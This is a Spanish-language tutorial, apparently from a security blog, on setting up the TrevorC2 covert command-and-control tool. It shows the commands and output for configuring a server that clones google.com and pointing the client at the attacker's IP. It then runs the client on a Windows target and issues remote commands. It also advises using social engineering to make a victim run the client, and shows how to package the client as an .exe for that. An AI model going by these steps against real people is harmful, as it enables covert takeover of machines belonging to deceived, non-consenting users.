Tomar control de cualquier cuenta de usuario usando Trevorc2



Hackear es cada día más fácil, pues siempre habrá muchos profesionales de seguridad independientes que están desarrollando herramientas funcionales. Estas herramientas son muy fáciles de usar, el usuario sólo necesita aprender algunos comandos básicos. Hoy le mostraremos cómo una herramienta llamada Trevorc2 puede recopilar detalles de su objetivo con solamente un clic.

Según investigadores en seguridad en redes del Instituto Internacional de Seguridad Cibernética, Travorc2 es una herramienta bastante impresionante, ya que proporciona un nivel inicial de detalles del objetivo para enumerar más tarde.

Trevorc2 es una herramienta de comando y control escrita por Dave Kennedy. Esta herramienta puede interactuar con diferentes shells a la vez. El objetivo puede cambiar fácilmente entre diferentes shells. La herramienta proporciona algunas funcionalidades básicas para la recopilación de información del objetivo.

Trevorc2 contiene principalmente dos elementos:
  • Trevorc2 Server: cuando se inicia el servidor, el servidor clonará la URL. El servidor es accesible para cualquier persona y parece un sitio web real. Trevor2 Server contiene las instrucciones con el cliente
  • Trevorc2 Client: se utilizará para ejecutar en la máquina objetivo. El servidor creará una sesión con el cliente. Aquí el cliente enviará datos básicos en parámetros de cadena al servidor
SCENARIO
Trevorc2 Server (192.168.1.102) <======================> Trevorc2 Client(192.168.1.9)
Instalación de Trevorc2
  • La herramienta ha sido probada usando Kali Linux 2018.4, donde el atacante era Kali Linux y el objetivo era Windows 7 Enterprise 32 Bit
  • Trevorc2 Server = Kali Linux 2018.4
  • Trevorc2 Client = Windows 7 Enterprise 32 Bit
  • En Kali Linux, para descargar la herramienta teclee git clone https://github.com/trustedsec/trevorc2.git

root@kali:/home/iicybersecurity/Downloads# git clone https://github.com/trustedsec/trevorc2.git
 Cloning into 'trevorc2'…
 remote: Enumerating objects: 137, done.
 remote: Total 137 (delta 0), reused 0 (delta 0), pack-reused 137
 Receiving objects: 100% (137/137), 45.57 KiB | 195.00 KiB/s, done.
 Resolving deltas: 100% (78/78), done.
  • Escriba cd trevorc2 y escriba ls

root@kali:/home/iicybersecurity/Downloads# cd trevorc2
 root@kali:/home/iicybersecurity/Downloads/trevorc2# ls
 CHANGELOG.txt  Dockerfile   README.md         trevorc2_client.cs   trevorc2_client.py
 CREDITS.txt    LICENSE.txt  requirements.txt  trevorc2_client.ps1  trevorc2_server.py
  • Escriba pip install -r requirements.txt

root@kali:/home/iicybersecurity/Downloads/trevorc2# pip install -r requirements.txt
 DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.
 Collecting bleach (from -r requirements.txt (line 1))
   Downloading https://files.pythonhosted.org/packages/ab/05/27e1466475e816d3001efb6e0a85a819be17411420494a1e602c36f8299d/bleach-3.1.0-py2.py3-none-any.whl (157kB)
     100% |████████████████████████████████| 163kB 580kB/s
 Requirement already satisfied: tornado in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2)) (5.1.1)
 Requirement already satisfied: pycrypto in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 3)) (2.6.1)
 Requirement already satisfied: six>=1.9.0 in /usr/lib/python2.7/dist-packages (from bleach->-r requirements.txt (line 1)) (1.11.0)
 Requirement already satisfied: webencodings in /usr/lib/python2.7/dist-packages (from bleach->-r requirements.txt (line 1)) (0.5)
 Installing collected packages: bleach
 Successfully installed bleach-3.1.0
  • Escriba nano trevorc2_client.py
  • Ingrese su IPv4 en el trevorc2_client.py

root@kali:/home/iicybersecurity/Downloads/trevorc2# nano trevorc2_client.py
 !/usr/bin/env python
 #
 TrevorC2 - legitimate looking command and control
 Written by: Dave Kennedy @HackingDave
 Website: https://www.trustedsec.com
 GIT: https://github.com/trustedsec
 #
 This is the client connection, and only an example. Refer to the readme
 to build your own client connection to the server C2 infrastructure.
 CONFIG CONSTANTS:
 site used to communicate with (remote TrevorC2 site)
 SITE_URL = ("http://192.168.1.102") <-Enter IPv4 address->
  • Edite trevorc2_server.py para ingresar al sitio de clonación. El sitio se clonará automáticamente cuando se inicie el servidor
Ejecución de Trevorc2 en el servidor
  • Escriba nano trevorc2_server.py
  • Introduzca la URL que desea clonar. Por defecto es www.google.com

root@kali:/home/iicybersecurity/Downloads/trevorc2# nano trevorc2_server.py
 !/usr/bin/env python
 """
 TrevorC2 - legitimate looking command and control.
 Written by: Dave Kennedy @HackingDave
 Website: https://www.trustedsec.com
 GIT: https://github.com/trustedsec
 This is the server side which will clone a website of your choosing. Once
 the site is cloned, it'll place information inside the source of the html
 to be decoded by the client and executed and then passed back to the server
 via a query string parameter.
 """
 CONFIG CONSTANTS:
 URL = ("https://www.google.com") <-Enter Your Clone URL ->  # URL to clone to house a legitimate website
  • Escriba nano trevorc2_client.ps1

root@kali:/home/iicybersecurity/Downloads/trevorc2# nano trevorc2_client.ps1
 #
 TrevorC2 - legitimate looking command and control
 Written by: Dave Kennedy @HackingDave
 Website: https://www.trustedsec.com
 GIT: https://github.com/trustedsec
 PowerShell Module by Alex Williams @offsec_ginger
 #
 This is the client connection, and only an example. Refer to the readme
 to build your own client connection to the server C2 infrastructure.
 CONFIG CONSTANTS:
 Site used to communicate with (remote TrevorC2 site)
 $SITE_URL = "http://192.168.1.102" <-Enter IPv4 Address->
  • Después de hacer toda la configuración, escriba python trevorc2_server.py
  • Escriba python trevorc2_server.py

root@kali:/home/iicybersecurity/Downloads/trevorc2# python trevorc2_server.py

           ,  .'''''.  ...    ''''',  .'
            ','     ,.MMMM;.;'      '.
             ;;    ;MMMMMMMMM;     ;;'
            :'M:  ;MMMMMMMMMMM;.  :M':
            : M:  MMMMMMMMMMMMM:  :M  .
           .' M:  MMMMMMMMMMMMM:  :M. ;
           ; :M'  :MMMMMMMMMMMM'  'M: :
           : :M: .;"MMMMMMMMM":;. ,M: :
           :  ::,MMM;.M":::M.;MMM ::' :
         ,.;    ;MMMMMM;:MMMMMMMM:    :,.
         MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
         M':''':MMMMMMMMM;MMMMMMMM: "': M
         M.:   ;MMMMMMMMMMMMMMMMMM;   : M
         :::   MMMMMMMMMMM;MMMMMMMM   ::M
        ,'';   MMMMMMMMMMMM:MMMMMMM   :'".
      ,'   :   MMMMMMMMMMMM:MMMMMMM   :   '.
     '     :  'MMMMMMMMMMMMM:MMMMMM   ;     '
     ,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
     :MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
     :MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
      MM:   :  MMMMMMMMMMMMM:MMMMMM  ,'  :MM
      'MM   :  :MMMMMMMMMMMM:MMMMM:  :   ;M:
       :M;  :  'MMMMMMMMMMMMMMMMMM'  :  ;MM
       :MM. :   :MMMMMMMMMM;MMMMM:   :  MM:
        :M: :    MMMMMMMMM'MMMMMM'   : :MM'
        'MM :    "MMMMMMM:;MMMMM"   ,' ;M"
         'M  :    ""''':;;;'''""    :  M:
         ;'  :     "MMMMMMMM;."     :  "".
       ,;    :      :MMMMMMM:;.     :    '.
      :'     :    ,MM'''""''':M:    :     ';
     ;'      :    ;M'         MM.   :       ;.
   ,'        :    "            "'   :        '.
   '        :'                       '        ''
 .          :                        '          '
'          ;                          ;          '
          ;                            '


                   #TrevorForget

TrevorC2 - Legitimate Website Covert Channel
 Written by: David Kennedy (@HackingDave)
 https://www.trustedsec.com
 [] Cloning website: https://www.google.com /usr/local/lib/python2.7/dist-packages/requests/packages/urllib3/connectionpool.py:791: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.org/en/latest/security.html   InsecureRequestWarning) [] Site cloned successfully.
 [] Starting Trevor C2 Server… [] Next, enter the command you want the victim to execute.
 [] Client uses random intervals, this may take a few. [] Type help for usage. Example commands, list, interact.
 trevorc2>
  • Después de ejecutar la consulta anterior se iniciará Trevorc2 Server. El servidor clonará la URL dada
  • Ahora abra travorc2_client.py en la máquina de destino
  • En el escenario real, puede utilizar algún hack de ingeniería social para abrir el travorc2_client.py en la máquina objetivo y el atacante en el escenario real convertirá el archivo .py en un archivo exe y, mediante el uso de ingeniería social, transfiera este archivo al objetivo
Ejecución de Trevorc2 en el objetivo
  • Python 2.7 debe estar instalado y las variables de entorno deben estar configuradas para ejecutar travorc2
  • Para configurar el Python PATH environment vaya a: https://www.python.org/download/releases/2.7/
  • Luego, abra Propiedades de Mi PC> Configuración avanzada del sistema> Variables de entorno> Variables del sistema
  • Haga clic en Nuevo e ingrese el Nombre de la variable: path\to\your\python\installed



  • Después de instalar python, escriba python travorc2_client.py. Después de ejecutar, si muestra el error “no se encontró ningún módulo llamado crypto”, teclee pip instal Crypto
  • Abra cmd en la máquina Windows. Escribapython travorc2_client.py
  • Después de ejecutar el travorc2_client.py en la máquina de destino, se creará una sesión en travorc2_server.py

trevorc2>
 *** Received connection from 192.168.1.9 and hostname iicybersecurity for TrevorC2.
  • En el servidor, escriba interact 1

trevorc2>interact 1
 [] Dropping into trevorc2 shell… [] Use exit or back to select other shells
 iicybersecurity:trevorc2>
 [*] Waiting for command to be executed, be patient, results will be displayed here…
 [*] Received response back from client…
 =-=-=-=-=-=-=-=-=-=-=
 (HOSTNAME: iicybersecurity
 CLIENT: 192.168.1.9)
  • En el servidor, escriba ipconfig

iicybersecurity:trevorc2>ipconfig
 [] Waiting for command to be executed, be patient, results will be displayed here… [] Received response back from client…
 =-=-=-=-=-=-=-=-=-=-=
 (HOSTNAME: iicybersecurity
 CLIENT: 192.168.1.9)
 Windows IP Configuration
 Ethernet adapter Local Area Connection:
 Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::d50d:a1db:69e0:318%10
    IPv4 Address. . . . . . . . . . . : 192.168.1.9
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : fe80::1%10
                                        192.168.1.1
 Tunnel adapter isatap.{E810D803-96C4-4AE3-8321-69E2FC60FE1B}:
 Media State . . . . . . . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :
 Tunnel adapter 6TO4 Adapter:
 Media State . . . . . . . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :
  • Después de ejecutar la consulta anterior, la máquina atacante ha reunido IPv4 del objetivo
Convertir archivos Python maliciosos a .EXE
  • Para convertir el trevorc2_client.py en .exe para abrir en una computadora de Windows fácilmente
  • Escriba pip install auto-py-to-exe
  • Vaya a la ubicación donde ha copiado trevorc2_client.py
  • Escriba auto-py-to-exe en cmd
  • Luego, auto-py-to-exe comenzará a seleccionar trevorc2_client.py y haga clic en convert py-to-exe



  • Después de convertir trevorc2.exe está listo para ejecutarse en una computadora con Windows
  • Antes de ejecutar copie todos los contenidos en la computadora de Windows para ejecutar el archivo exe



  • Abrir archivo a través de usar CMD. Escriba trevorc2_client.exe
  • Esto abrirá la sesión en el extremo del servidor




Compartir...
Siguenos en twitter: @disoftin

Publicar un comentario

0 Comentarios